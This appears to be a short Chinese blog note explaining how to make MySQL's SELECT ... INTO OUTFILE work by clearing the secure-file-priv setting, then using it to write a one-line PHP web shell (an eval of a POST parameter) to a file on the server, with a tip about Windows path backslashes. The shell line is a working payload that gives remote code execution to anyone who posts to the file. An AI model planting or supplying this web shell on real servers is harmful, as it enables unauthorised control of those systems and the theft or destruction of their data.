通过select ** into outfile **无法写入,报错1290
查看secure值,有具体路径
找到my.ini文件,打开找到secure-file-priv参数改空
保存,重启mysqld服务
再次登录查看secure参数,为空
再次写入文件
select '<?php @eval($_POST[abc]);?>' into outfile 'd:\ftp\11.php';
第一次写入时路径用的单斜杠,虽然也提示成功,但就是在目录下找不到,再写一遍就能看到问题了,文件名带上路径一起了,后来想到在哪看到过,改成双斜杠就OK了
写错的文件写到D盘根目录了
参考:
关于mysql --secure-file-priv问题的解决方案_K8sCat-CSDN博客_mysql secure-file-priv